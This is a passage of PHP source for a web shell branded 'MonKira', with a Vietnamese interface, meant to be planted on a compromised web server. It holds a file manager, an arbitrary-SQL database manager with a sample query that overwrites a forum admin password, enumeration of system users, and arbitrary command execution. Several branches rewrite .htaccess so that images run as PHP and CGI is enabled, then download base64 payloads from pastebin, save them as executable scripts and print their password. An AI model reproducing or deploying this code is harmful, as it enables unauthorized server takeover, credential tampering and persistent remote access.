816 p(' | <a href="javascript:createdir();">Tạo thư mục mới</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo file mới</a>');
817 if (IS_WIN && IS_COM) {
818 $obj = new COM('scripting.filesystemobject');
819 if ($obj && is_object($obj)) {
820 $DriveTypeDB = array(
821 0 => 'Unknow',
822 1 => 'Removable',
823 2 => 'Fixed',
824 3 => 'Network',
825 4 => 'CDRom',
826 5 => 'RAM Disk'
827 );
828 foreach ($obj->Drives as $drive) {
829 if ($drive->DriveType == 2) {
830 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
831 } else {
832 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
833 }
834 }
835 }
836 }
837 p('</td></tr></form>');
838 p('<tr class="head"><td> </td><td>Tên file</td><td width="16%">Sửa lần cuối</td><td width="10%">Kích thước</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
839 $dirdata = array();
840 $filedata = array();
841 if ($view_writable) {
842 $dirdata = GetList($nowpath);
843 } else {
844 $dirs = @opendir($dir);
845 while ($file = @readdir($dirs)) {
846 $filepath = $nowpath . $file;
847 if (@is_dir($filepath)) {
848 $dirdb['filename'] = $file;
849 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
850 $dirdb['dirchmod'] = getChmod($filepath);
851 $dirdb['dirperm'] = getPerms($filepath);
852 $dirdb['fileowner'] = getUser($filepath);
853 $dirdb['dirlink'] = $nowpath;
854 $dirdb['server_link'] = $filepath;
855 $dirdb['client_link'] = ue($filepath);
856 $dirdata[] = $dirdb;
857 } else {
858 $filedb['filename'] = $file;
859 $filedb['size'] = sizecount(@filesize($filepath));
860 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
861 $filedb['filechmod'] = getChmod($filepath);
862 $filedb['fileperm'] = getPerms($filepath);
863 $filedb['fileowner'] = getUser($filepath);
864 $filedb['dirlink'] = $nowpath;
865 $filedb['server_link'] = $filepath;
866 $filedb['client_link'] = ue($filepath);
867 $filedata[] = $filedb;
868 }
869 }
870 unset($dirdb);
871 unset($filedb);
872 @closedir($dirs);
873 }
874 @sort($dirdata);
875 @sort($filedata);
876 $dir_i = '0';
877 foreach ($dirdata as $key => $dirdb) {
878 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
879 $thisbg = bg();
880 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
881 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
882 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
883 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
884 p('<td nowrap>MonKira</td>');
885 p('<td nowrap>');
886 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
887 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
888 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'MonKira muốn xóa??? ' . $dirdb['filename'] . '? \\n\\nTất cả file trong thư mục sẽ bị xóa??.\')">Xóa</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi tên</a></td>');
889 p('</tr>');
890 $dir_i++;
891 } else {
892 if ($dirdb['filename'] == '..') {
893 p('<tr class=fout>');
894 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Thư mục trước</a></td>');
895 p('</tr>');
896 }
897 }
898 }
899 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
900 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
901 makehide('action', 'file');
902 makehide('thefile');
903 makehide('doing');
904 makehide('dir', $nowpath);
905 $file_i = '0';
906 foreach ($filedata as $key => $filedb) {
907 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
908 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
909 $thisbg = bg();
910 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
911 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
912 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
913 p('<td nowrap>' . $filedb['mtime'] . '</td>');
914 p('<td nowrap>' . $filedb['size'] . '</td>');
915 p('<td nowrap>');
916 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
917 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
918 p('<td nowrap>');
919 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải về</a> | ');
920 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao chép</a> | ');
921 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Sửa</a> | ');
922 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi tên</a> | ');
923 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời gian</a>');
924 p('</td></tr>');
925 $file_i++;
926 $file_i++;
927 }
928 }
929 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải về những mục đã chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa </a></td><td colspan="4" align="right">' . $dir_i . ' Thư mục / ' . $file_i . ' files</td></tr>');
930 p('</form></table>');
931} // end dir
932
933
934?><script type="text/javascript">
935function mysqlfile(doing){
936 if(!doing) return;
937 $('doing').value=doing;
938 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
939 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
940 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
941 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
942 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
943 $('mysqlfile').charset.value=$('dbinfo').charset.value;
944 $('mysqlfile').submit();
945}
946</script>
947<?php
948 //setup php for working with Unicode data
949mb_internal_encoding('UTF-8');
950mb_http_output('UTF-8');
951mb_http_input('UTF-8');
952mb_language('uni');
953mb_regex_encoding('UTF-8');
954ob_start('mb_output_handler');
955if ($action == 'sqladmin') {
956 !$dbhost && $dbhost = 'localhost';
957 !$dbuser && $dbuser = 'root';
958 !$dbport && $dbport = '3306';
959 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
960 if (isset($dbhost)) {
961 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
962 }
963 if (isset($dbuser)) {
964 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
965 }
966 if (isset($dbpass)) {
967 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
968 }
969 if (isset($dbport)) {
970 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
971 }
972 if (isset($dbname)) {
973 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
974 }
975 if (isset($charset)) {
976 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
977 }
978 if ($doing == 'backupmysql' && $saveasfile) {
979 if (!$table) {
980 m('Please choose the table');
981 } else {
982 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
983 $table = array_flip($table);
984 $fp = @fopen($path, 'w');
985 if ($fp) {
986 $result = q('SHOW tables');
987 if (!$result)
988 p('<h2>' . mysql_error() . '</h2>');
989 $mysqldata = '';
990 while ($currow = mysql_fetch_array($result)) {
991 if (isset($table[$currow[0]])) {
992 sqldumptable($currow[0], $fp);
993 }
994 }
995 fclose($fp);
996 $fileurl = str_replace(SA_ROOT, '', $path);
997 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
998 mysql_close();
999 } else {
1000 m('Backup failed');
1001 }
1002 }
1003 }
1004 if ($insert && $insertsql) {
1005 $keystr = $valstr = $tmp = '';
1006 foreach ($insertsql as $key => $val) {
1007 if ($val) {
1008 $keystr .= $tmp . $key;
1009 $valstr .= $tmp . "'" . addslashes($val) . "'";
1010 $tmp = ',';
1011 }
1012 }
1013 if ($keystr && $valstr) {
1014 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1015 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1016 }
1017 }
1018 if ($update && $insertsql && $base64) {
1019 $valstr = $tmp = '';
1020 foreach ($insertsql as $key => $val) {
1021 $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
1022 $tmp = ',';
1023 }
1024 if ($valstr) {
1025 $where = base64_decode($base64);
1026 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1027 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Cập nhật thành công' : mysql_error());
1028 }
1029 }
1030 if ($doing == 'del' && $base64) {
1031 $where = base64_decode($base64);
1032 $delete_sql = "DELETE FROM $tablename WHERE $where";
1033 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1034 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1035 }
1036 if ($tablename && $doing == 'drop') {
1037 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1038 if (q("DROP TABLE $tablename")) {
1039 m('Drop table of success');
1040 $tablename = '';
1041 } else {
1042 m(mysql_error());
1043 }
1044 }
1045 $charsets = array(
1046 '' => 'Default',
1047 'gbk' => 'GBK',
1048 'big5' => 'Big5',
1049 'utf8' => 'UTF-8',
1050 'latin1' => 'Latin1'
1051 );
1052 formhead(array(
1053 'title' => 'MYSQL Manager'
1054 ));
1055 makehide('action', 'sqladmin');
1056 p('<p>');
1057 p('DBHost:');
1058 makeinput(array(
1059 'name' => 'dbhost',
1060 'size' => 20,
1061 'value' => $dbhost
1062 ));
1063 p(':');
1064 makeinput(array(
1065 'name' => 'dbport',
1066 'size' => 4,
1067 'value' => $dbport
1068 ));
1069 p('DBUser:');
1070 makeinput(array(
1071 'name' => 'dbuser',
1072 'size' => 15,
1073 'value' => $dbuser
1074 ));
1075 p('DBPass:');
1076 makeinput(array(
1077 'name' => 'dbpass',
1078 'size' => 15,
1079 'value' => $dbpass
1080 ));
1081 p('DBCharset:');
1082 makeselect(array(
1083 'name' => 'charset',
1084 'option' => $charsets,
1085 'selected' => $charset
1086 ));
1087 makeinput(array(
1088 'name' => 'connect',
1089 'value' => 'Connect',
1090 'type' => 'submit',
1091 'class' => 'bt'
1092 ));
1093 p('</p>');
1094 formfoot();
1095?><script type="text/javascript">
1096function editrecord(action, base64, tablename){
1097 if (action == 'del') {
1098 if (!confirm('Is or isn\'t deletion record?')) return;
1099 }
1100 $('recordlist').doing.value=action;
1101 $('recordlist').base64.value=base64;
1102 $('recordlist').tablename.value=tablename;
1103 $('recordlist').submit();
1104}
1105function moddbname(dbname) {
1106 if(!dbname) return;
1107 $('setdbname').dbname.value=dbname;
1108 $('setdbname').submit();
1109}
1110function settable(tablename,doing,page) {
1111 if(!tablename) return;
1112 if (doing) {
1113 $('settable').doing.value=doing;
1114 }
1115 if (page) {
1116 $('settable').page.value=page;
1117 }
1118 $('settable').tablename.value=tablename;
1119 $('settable').submit();
1120}
1121</script>
1122<?php
1123 formhead(array(
1124 'name' => 'recordlist'
1125 ));
1126 makehide('doing');
1127 makehide('action', 'sqladmin');
1128 makehide('base64');
1129 makehide('tablename');
1130 p($dbform);
1131 formfoot();
1132 formhead(array(
1133 'name' => 'setdbname'
1134 ));
1135 makehide('action', 'sqladmin');
1136 p($dbform);
1137 if (!$dbname) {
1138 makehide('dbname');
1139 }
1140 formfoot();
1141 formhead(array(
1142 'name' => 'settable'
1143 ));
1144 makehide('action', 'sqladmin');
1145 p($dbform);
1146 makehide('tablename');
1147 makehide('page', $page);
1148 makehide('doing');
1149 formfoot();
1150 $cachetables = array();
1151 $pagenum = 30;
1152 $page = intval($page);
1153 if ($page) {
1154 $start_limit = ($page - 1) * $pagenum;
1155 } else {
1156 $start_limit = 0;
1157 $page = 1;
1158 }
1159 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1160 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1161 // get mysql server
1162 $mysqlver = mysql_get_server_info();
1163 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
1164 $highver = $mysqlver > '4.1' ? 1 : 0;
1165
1166 // Show database
1167 $query = q("SHOW DATABASES");
1168 $dbs = array();
1169 $dbs[] = '-- Select a database --';
1170 while ($db = mysql_fetch_array($query)) {
1171 $dbs[$db['Database']] = $db['Database'];
1172 }
1173 makeselect(array(
1174 'title' => 'Please select a database:',
1175 'name' => 'db[]',
1176 'option' => $dbs,
1177 'selected' => $dbname,
1178 'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
1179 'newline' => 1
1180 ));
1181 $tabledb = array();
1182 if ($dbname) {
1183 p('<p>');
1184 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
1185 if ($tablename) {
1186 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
1187 }
1188 p('</p>');
1189 mysql_select_db($dbname);
1190 $getnumsql = '';
1191 $runquery = 0;
1192 if ($sql_query) {
1193 $runquery = 1;
1194 }
1195 $allowedit = 0;
1196 if ($tablename && !$sql_query) {
1197 $sql_query = "SELECT * FROM $tablename";
1198 $getnumsql = $sql_query;
1199 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
1200 $allowedit = 1;
1201 }
1202 p('<form action="' . $self . '" method="POST">');
1203 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>RiOZanR</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1204 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1205 makehide('tablename', $tablename);
1206 makehide('action', 'sqladmin');
1207 p($dbform);
1208 p('</form>');
1209 if ($tablename || ($runquery && $sql_query)) {
1210 if ($doing == 'structure') {
1211 $result = q("SHOW COLUMNS FROM $tablename");
1212 $rowdb = array();
1213 while ($row = mysql_fetch_array($result)) {
1214 $rowdb[] = $row;
1215 }
1216 p('<table border="0" cellpadding="3" cellspacing="0">');
1217 p('<tr class="head">');
1218 p('<td>Field</td>');
1219 p('<td>Type</td>');
1220 p('<td>Null</td>');
1221 p('<td>Key</td>');
1222 p('<td>Default</td>');
1223 p('<td>Extra</td>');
1224 p('</tr>');
1225 foreach ($rowdb as $row) {
1226 $thisbg = bg();
1227 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1228 p('<td>' . $row['Field'] . '</td>');
1229 p('<td>' . $row['Type'] . '</td>');
1230 p('<td>' . $row['Null'] . ' </td>');
1231 p('<td>' . $row['Key'] . ' </td>');
1232 p('<td>' . $row['Default'] . ' </td>');
1233 p('<td>' . $row['Extra'] . ' </td>');
1234 p('</tr>');
1235 }
1236 tbfoot();
1237 } elseif ($doing == 'insert' || $doing == 'edit') {
1238 $result = q('SHOW COLUMNS FROM ' . $tablename);
1239 while ($row = mysql_fetch_array($result)) {
1240 $rowdb[] = $row;
1241 }
1242 $rs = array();
1243 if ($doing == 'insert') {
1244 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1245 } else {
1246 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1247 $where = base64_decode($base64);
1248 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1249 $rs = mysql_fetch_array($result);
1250 }
1251 p('<form method="post" action="' . $self . '">');
1252 p($dbform);
1253 makehide('action', 'sqladmin');
1254 makehide('tablename', $tablename);
1255 p('<table border="0" cellpadding="3" cellspacing="0">');
1256 foreach ($rowdb as $row) {
1257 if ($rs[$row['Field']]) {
1258 $value = htmlspecialchars($rs[$row['Field']]);
1259 } else {
1260 $value = '';
1261 }
1262 $thisbg = bg();
1263 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1264 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1265 }
1266 if ($doing == 'insert') {
1267 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1268 } else {
1269 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1270 makehide('base64', $base64);
1271 }
1272 p('</table></form>');
1273 } else {
1274 $querys = @explode(';', $sql_query);
1275 foreach ($querys as $num => $query) {
1276 if ($query) {
1277 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1278 switch (qy($query)) {
1279 case 0:
1280 p('<h2>Error : ' . mysql_error() . '</h2>');
1281 break;
1282 case 1:
1283 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1284 $allowedit = 1;
1285 }
1286 if ($getnumsql) {
1287 $tatol = mysql_num_rows(q($getnumsql));
1288 $multipage = multi($tatol, $pagenum, $page, $tablename);
1289 }
1290 if (!$tablename) {
1291 $sql_line = str_replace(array(
1292 "\r",
1293 "\n",
1294 "\t"
1295 ), array(
1296 ' ',
1297 ' ',
1298 ' '
1299 ), trim(htmlspecialchars($query)));
1300 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1301 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1302 $tablename = $matches[1][0];
1303 }
1304 $result = q($query);
1305 p($multipage);
1306 p('<table border="0" cellpadding="3" cellspacing="0">');
1307 p('<tr class="head">');
1308 if ($allowedit)
1309 p('<td>Action</td>');
1310 $fieldnum = @mysql_num_fields($result);
1311 for ($i = 0; $i < $fieldnum; $i++) {
1312 $name = @mysql_field_name($result, $i);
1313 $type = @mysql_field_type($result, $i);
1314 $len = @mysql_field_len($result, $i);
1315 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1316 }
1317 p('</tr>');
1318 while ($mn = @mysql_fetch_assoc($result)) {
1319 $thisbg = bg();
1320 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1321 $where = $tmp = $b1 = '';
1322 foreach ($mn as $key => $inside) {
1323 if ($inside) {
1324 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
1325 $tmp = ' AND ';
1326 }
1327 $b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
1328 }
1329 $where = base64_encode($where);
1330 if ($allowedit)
1331 p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1332 p($b1);
1333 p('</tr>');
1334 unset($b1);
1335 }
1336 tbfoot();
1337 p($multipage);
1338 break;
1339 case 2:
1340 $ar = mysql_affected_rows();
1341 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1342 break;
1343 }
1344 }
1345 }
1346 }
1347 } else {
1348 $query = q("SHOW TABLE STATUS");
1349 $table_num = $table_rows = $data_size = 0;
1350 $tabledb = array();
1351 while ($table = mysql_fetch_array($query)) {
1352 $data_size = $data_size + $table['Data_length'];
1353 $table_rows = $table_rows + $table['Rows'];
1354 $table['Data_length'] = sizecount($table['Data_length']);
1355 $table_num++;
1356 $tabledb[] = $table;
1357 }
1358 $data_size = sizecount($data_size);
1359 unset($table);
1360 p('<table border="0" cellpadding="0" cellspacing="0">');
1361 p('<form action="' . $self . '" method="POST">');
1362 makehide('action', 'sqladmin');
1363 p($dbform);
1364 p('<tr class="head">');
1365 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1366 p('<td>Name</td>');
1367 p('<td>Rows</td>');
1368 p('<td>Data_length</td>');
1369 p('<td>Create_time</td>');
1370 p('<td>Update_time</td>');
1371 if ($highver) {
1372 p('<td>Engine</td>');
1373 p('<td>Collation</td>');
1374 }
1375 p('</tr>');
1376 foreach ($tabledb as $key => $table) {
1377 $thisbg = bg();
1378 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1379 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1380 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1381 p('<td>' . $table['Rows'] . '</td>');
1382 p('<td>' . $table['Data_length'] . '</td>');
1383 p('<td>' . $table['Create_time'] . '</td>');
1384 p('<td>' . $table['Update_time'] . '</td>');
1385 if ($highver) {
1386 p('<td>' . $table['Engine'] . '</td>');
1387 p('<td>' . $table['Collation'] . '</td>');
1388 }
1389 p('</tr>');
1390 }
1391 p('<tr class=fout>');
1392 p('<td> </td>');
1393 p('<td>Total tables: ' . $table_num . '</td>');
1394 p('<td>' . $table_rows . '</td>');
1395 p('<td>' . $data_size . '</td>');
1396 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1397 p('</tr>');
1398
1399 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1400 makehide('doing', 'backupmysql');
1401 formfoot();
1402 p("</table>");
1403 fr($query);
1404 }
1405 }
1406 }
1407 tbfoot();
1408 @mysql_close();
1409} elseif ($action == 'etcpwd') {
1410 formhead(array(
1411 'title' => 'Get /etc/passwd'
1412 ));
1413 makehide('action', 'etcpwd');
1414 makehide('dir', $nowpath);
1415 $i = 0;
1416 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1417 while ($i < 60000) {
1418 $line = posix_getpwuid($i);
1419 if (!empty($line)) {
1420 while (list($key, $vba_etcpwd) = each($line)) {
1421 echo "" . $vba_etcpwd . "
1422";
1423 break;
1424 }
1425 }
1426 $i++;
1427 }
1428 echo "</textarea></p>";
1429 formfoot();
1430} elseif ($action == 'command') {
1431 if (IS_WIN && IS_COM) {
1432 if ($program && $parameter) {
1433 $shell = new COM('Shell.Application');
1434 $a = $shell->ShellExecute($program, $parameter);
1435 m('Program run has ' . (!$a ? 'success' : 'fail'));
1436 }
1437 !$program && $program = 'c:\indows\ystem32\md.exe';
1438 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1439 formhead(array(
1440 'title' => 'Execute Program'
1441 ));
1442 makehide('action', 'shell');
1443 makeinput(array(
1444 'title' => 'Program',
1445 'name' => 'program',
1446 'value' => $program,
1447 'newline' => 1
1448 ));
1449 p('<p>');
1450 makeinput(array(
1451 'title' => 'Parameter',
1452 'name' => 'parameter',
1453 'value' => $parameter
1454 ));
1455 makeinput(array(
1456 'name' => 'submit',
1457 'class' => 'bt',
1458 'type' => 'submit',
1459 'value' => 'Execute'
1460 ));
1461 p('</p>');
1462 formfoot();
1463 }
1464 formhead(array(
1465 'title' => 'Execute Command'
1466 ));
1467 makehide('action', 'shell');
1468 if (IS_WIN && IS_COM) {
1469 $execfuncdb = array(
1470 'phpfunc' => 'phpfunc',
1471 'wscript' => 'wscript',
1472 'proc_open' => 'proc_open'
1473 );
1474 makeselect(array(
1475 'title' => 'Use:',
1476 'name' => 'execfunc',
1477 'option' => $execfuncdb,
1478 'selected' => $execfunc,
1479 'newline' => 1
1480 ));
1481 }
1482 p('<p>');
1483 makeinput(array(
1484 'title' => 'Command',
1485 'name' => 'command',
1486 'value' => $command
1487 ));
1488 makeinput(array(
1489 'name' => 'submit',
1490 'class' => 'bt',
1491 'type' => 'submit',
1492 'value' => 'Execute'
1493 ));
1494 p('</p>');
1495 formfoot();
1496 if ($command) {
1497 p('<hr width="100%" noshade /><pre>');
1498 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1499 $wsh = new COM('WScript.shell');
1500 $exec = $wsh->exec('cmd.exe /c ' . $command);
1501 $stdout = $exec->StdOut();
1502 $stroutput = $stdout->ReadAll();
1503 echo $stroutput;
1504 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1505 $descriptorspec = array(
1506 0 => array(
1507 'pipe',
1508 'r'
1509 ),
1510 1 => array(
1511 'pipe',
1512 'w'
1513 ),
1514 2 => array(
1515 'pipe',
1516 'w'
1517 )
1518 );
1519 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1520 if (is_resource($process)) {
1521 fwrite($pipes[0], $command . "
1522");
1523 fwrite($pipes[0], "exit
1524");
1525 fclose($pipes[0]);
1526 while (!feof($pipes[1])) {
1527 echo fgets($pipes[1], 1024);
1528 }
1529 fclose($pipes[1]);
1530 while (!feof($pipes[2])) {
1531 echo fgets($pipes[2], 1024);
1532 }
1533 fclose($pipes[2]);
1534 proc_close($process);
1535 }
1536 } else {
1537 echo (execute($command));
1538 }
1539 p('</pre>');
1540 }
1541} elseif ($action == 'log') {
1542 mkdir('MonKira', 0755);
1543 chdir('MonKira');
1544 $kokdosya = ".htaccess";
1545 $dosya_adi = "$kokdosya";
1546 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1547 $metin = "Options +FollowSymLinks +Indexes
1548DirectoryIndex default.html
1549## START ##
1550Options +ExecCGI
1551AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1552AddType application/x-httpd-php .jpg
1553RewriteEngine on
1554RewriteRule (.*)\war$ .log
1555## END ##";
1556 fwrite($dosya, $metin);
1557 fclose($dosya);
1558 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=HcHMMXa5');
1559 $file = fopen("MonKiraCGI.log", "w+");
1560 $write = fwrite($file, base64_decode($pythonp));
1561 fclose($file);
1562 chmod("MonKiraCGI.log", 0755);
1563 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKiraCGI.log' target='_blank' style='color:red'>MonKiraCGI.log</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1564} elseif ($action == 'pl') {
1565 mkdir('MonKira', 0755);
1566 chdir('MonKira');
1567 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=JshksKcP');
1568 $file = fopen("MonKira.pl", "w+");
1569 $write = fwrite($file, base64_decode($pythonp));
1570 fclose($file);
1571 chmod("MonKira.pl", 0755);
1572 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.pl' target='_blank' style='color:red'>MonKira.pl</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1573} elseif ($action == 'sa') {
1574 mkdir('MonKira', 0755);
1575 chdir('MonKira');
1576 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=1rAwssr2');
1577 $file = fopen("MonKira.sa", "w+");
1578 $write = fwrite($file, base64_decode($pythonp));
1579 fclose($file);
1580 chmod("MonKira.sa", 0755);
1581 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.sa' target='_blank' style='color:red'>MonKira.sa</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1582} elseif ($action == 'cin') {
1583 mkdir('MonKira', 0755);
